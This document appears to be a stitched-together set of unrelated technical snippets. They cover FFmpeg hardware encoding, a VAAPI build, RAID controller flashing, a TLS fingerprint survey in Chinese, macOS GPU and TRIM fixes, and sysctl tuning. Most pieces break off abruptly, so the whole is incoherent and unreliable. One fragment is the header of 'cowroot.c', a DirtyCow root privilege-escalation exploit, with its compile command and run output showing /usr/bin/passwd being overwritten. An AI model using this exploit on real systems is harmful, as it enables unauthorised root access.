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FFmpeg and libav's playbook: Advanced encoding options with hardware-based acceleration, NVIDIA's NVENC and Intel's VAAPI-based encoder.

Hello guys,

Continuing from this guide to building ffmpeg and libav with NVENC and VAAPI enabled, this snippet will cover advanced options that you can use with ffmpeg and libav on both NVENC and VAAPI hardware-based encoders.

For ffmpeg:

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Build VAAPI with support for VP8/9 decode and encode hardware acceleration on a Skylake validation testbed:

Build platform: Ubuntu 16.04LTS.

First things first:

Install baseline dependencies first

sudo apt-get -y install autoconf automake build-essential libass-dev libtool pkg-config texinfo zlib1g-dev libva-dev cmake mercurial libdrm-dev libvorbis-dev libogg-dev git libx11-dev libperl-dev libpciaccess-dev libpciaccess0 xorg-dev intel-gpu-tools

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/*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten

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If you have a Dell Perc H310 and your computer won't boot then you'll need to cover PCIe pins B5 and B6. You can cover them with a thin piece of electrical tape.

H310 DOS

1. megacli.exe -AdpAllInfo -aAll -page 20 Write down SAS address.
2. megarec.exe -writesbr 0 sbrempty.bin If this fails move on to next step.
3. megarec.exe -cleanflash 0 Reboot.
4. sas2flsh.exe -o -f 6GBPSAS.fw Reboot.
5. sas2flsh.exe -o -f 2118it.bin
6. s2fp19.exe -o -sasadd 500xxxxxxxxxxxxx

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#!/bin/bash
set -e

if [ $(id -u) -eq 0 ]; then
	echo 'Please execute this script as a regular user.'
	exit 1
fi

which sudo >/dev/null
if [ $? -ne 0 ]; then

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调查目的：了解当前各基于TLS的协议方案中ClientHello的指纹独特性。理论背景见 https://arxiv.org/abs/1607.01639 。

指纹数据库：

• https://tlsfingerprint.io
• https://github.com/cisco/mercury

naiveproxy v78.0.3904.70-4

（利益相关：我是这个的作者）

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Works for macOS Sierra and High Sierra (Improved version)

Taken from StackExchange

Thanks to LangLangC

For temperature and other improvements see https://gist.github.com/cdleon/d16e7743e6f056fedbebc329333d79df

This method leaves brightness control enabled

Reset SMC

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Enable TRIM on non-Apple SSDs in OS X

NOTE: This is tested on the versions mentioned in the title, and NOT earlier or later versions. YMMV.

Run the following commands in Terminal…

Backup the original driver:

sudo cp /System/Library/Extensions/IOAHCIFamily.kext/Contents/PlugIns/IOAHCIBlockStorage.kext/Contents/MacOS/IOAHCIBlockStorage /System/Library/Extensions/IOAHCIFamily.kext/Contents/PlugIns/IOAHCIBlockStorage.kext/Contents/MacOS/IOAHCIBlockStorage-backup

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Improving heat management after macbookpro 2011 discrete GPU fix, also a script to automate part of the fix process

Taken from StackExchange

Thanks to LangLangC

NOTE: This is experimental; works for some people, not for others

Improved thermal and power management

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### KERNEL TUNING ###

# Increase size of file handles and inode cache
fs.file-max = 2097152

# Do less swapping
vm.swappiness = 10
vm.dirty_ratio = 60
vm.dirty_background_ratio = 2